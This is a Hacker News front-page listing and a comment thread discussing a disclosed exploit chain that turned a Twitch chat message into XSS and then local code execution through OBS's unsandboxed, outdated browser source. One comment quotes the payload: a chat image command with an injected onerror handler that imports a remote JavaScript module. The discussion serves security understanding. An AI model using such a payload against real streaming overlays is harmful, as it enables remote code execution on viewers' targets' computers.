Hacker News

Top stories

Live mirror
30 storiesupdated just nowView source snapshot
  1. Does Georgism work? Five years later (astralcodexten.com)
    100comments
  2. PipePipe: NewPipe hard fork implementing SponsorBlock (github.com/infinityloop1308)
    190comments
  3. DeepSeek Elastic Compute (DSec) (arxiv.org)
    55comments
  4. Go Concurrency Distilled (antonz.org)
    13comments
  5. Show HN: Reladraw – A diagram language where you decide where to place things (github.com/reladraw)
    57comments
  6. Turning GLM-5.3-Flash into a Jev-like decision model (privatemode.ai)
    22comments
  7. Evolving programming languages in the AI era (dashbit.co)
    33comments
  8. A searchable library of forgotten public-domain film clips from 1915 onward (movingimagearchive.com)
    25comments
  9. Reverse-engineering the Intel 8087's tangent algorithm: more than CORDIC (righto.com)
    6comments
  10. Drawgent: Coding agent on a live Excalidraw canvas (tangled.org/yanndegat.tngl.sh)
    32comments
  11. Fifteen years later, the Apple Cards origin story (lexontech.org)
    92comments
  12. Biology might not be quantum, but its math is quantumlike (quantamagazine.org)
    8comments
  13. Promising discoveries about the potential for life on one of Saturn’s icy moons (fu-berlin.de)
    17comments
  14. Welcome to the Medical Clinic at the Interplanetary Relay Station (lightspeedmagazine.com)
    9comments
  15. ASML says it sold 'absolutely nothing' in Europe in 2026 (tomshardware.com)
    466comments
  16. The Evolution of Vending Machines (saturdayeveningpost.com)
    4comments
  17. Snap Wants to be a State Actor??–Kansas v. Snap (ericgoldman.org)
    1comments
  18. Generate fonts where every LLM token is the same width (mesh.host)
    7comments
  19. Modern Object Pascal Introduction for Programmers (castle-engine.io)
    60comments
  20. How I changed teaching after AI managed to do all my homework assignments (thelastsoftwareengineer.substack.com)
    146comments
  21. The Lost Atomic Update on Loongson CPU (jia.je)
    6comments
  22. How one Twitch chat message became code execution on a streamer’s PC (scrt.ch)
    11comments
  23. How to keep enjoying programming in a world of LLMs (haskell.org)
    218comments
  24. LA Metro has some of the slowest escalators on Earth (basin.la)
    68comments
  25. Sousveillance (wikipedia.org)
    4comments
  26. HomeBody: A humanoid that explores, remembers, and acts on its own (stanford.edu)
    2comments
  27. Dutch designer made DE9: Closer to the Edit into a playable web-based instrument (creativeboom.com)
    2comments
  28. Reading’s Bayeux Tapestry (diamondgeezer.blogspot.com)
    2comments
  29. Breaking Up with Google Play: Why Conversations Is Now Free (gultsch.de)
    256comments
  30. The Rise of Audio AR (dbreunig.com)
    13comments

How one Twitch chat message became code execution on a streamer’s PC

33 pointsby 1d agoblog.scrt.ch
11 comments
3h agoHN ↗

tldr: XSS on OBS via the message

  !image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='a
2h agoHN ↗

The interesting part IMO is less the XSS on the streamer's overlay, but the fact that it could escape the browser source web page into local code execution (via a combination of OBS disabling the chromium sandbox, and using an outdated CEF version)

2h agoHN ↗

Deja Vu. I had to submit an issue and fix a similar issue years ago -- it was similarly Twitch chat overlay XSS, but for that they (the streamer) at least tried to strip the tags (but it was a poor JS implementation of PHP strip_tags), and the streamer didn't understand the issue until I crafted a image with onload/onerror to freeze/hang the chat overlay.

2h agoHN ↗

This shouldn't be a problem right? Javascript is by default allowed to execute on your PC in every modern browser. The days where people did not blindly execute arbitrary code from unknown and random sources are far in the past. Now if you don't do that you are considered weird and no websites actually display anything when you attempt to view them.

This is not a bug. This is the the entire design architecture's intent for modern JS application execution based "web". If this was the correct choice for the web then this should not be a problem at all. But we all know it is. The architecture choice forces this. Until we stop arbitrarily executing random third party code this will always happen. And the consequences will get worse and worse as more bare metal features are exposed in to browsers JS virtual machines.

Be the change in the world you want to see. Turn javascript off. Use real native applications that cannot change underneath you.

1h agoHN ↗

In a word, no. If you’re all “ra ra ra JavaScript!” you’re going to be shocked to find out what evil one can accomplish (either now or at various points in the past due to since-patched browser exploits or web platform security oversights) with just HTTP, HTML and CSS. Not only is your pipe dream a pipe dream, and a misinformed one at that, it won’t even come close to completely protecting you. Terms like “code” and “execute” are largely arbitrary. If you want safety, stop letting untrusted payloads enter your machine at all, and that includes Hacker News.

1h agoHN ↗

Look at how many browser exploits need JS, and how many don't. The latter tend to be far more memorable too, specifically for that reason.

JS is a huge attack surface. It's better if it isn't used where it isn't actually needed.

1h agoHN ↗

   > If you’re all “ra ra ra JavaScript!” you’re going to be shocked to find out what evil one can accomplish (either now or at various points in the past due to since-patched browser exploits or web platform security oversights) with just HTTP, HTML and CSS.

There's such a thing as an attack surface. JavaScript with JIT enabled has an attack surface so much larger than HTML and CSS that I cannot believe you're saying this in good faith.

2h agoHN ↗

Fucking absurd. I'll forever hate developers who allow for such _bizarre_ exploit chains to happen. OBS is an OSS project which I believe has received a lot of love throught the years, but having the Chromium sandbox disabled due to authentication with _certain services_ not working with it enabled is asinine. Don't even want to imagine the other problems the project might have waiting to be exploited.

Sure, if the plugin developer sanitized the comments before inserting them, this wouldn't have happened _this way_, but having a browser engine two years outdated (for a reason which IMO is absolutely reasonable compared to other situations before) and having the Chromium sandbox completely disabled with nothing to substitute it is crazy in a software onto which people insert random plugins from the internet to get random functionality.

Hopefully those two changes ship fast to OBS. I may be supporting the project financially in the future if they update their security posture, as I'm generally very fond of OBS.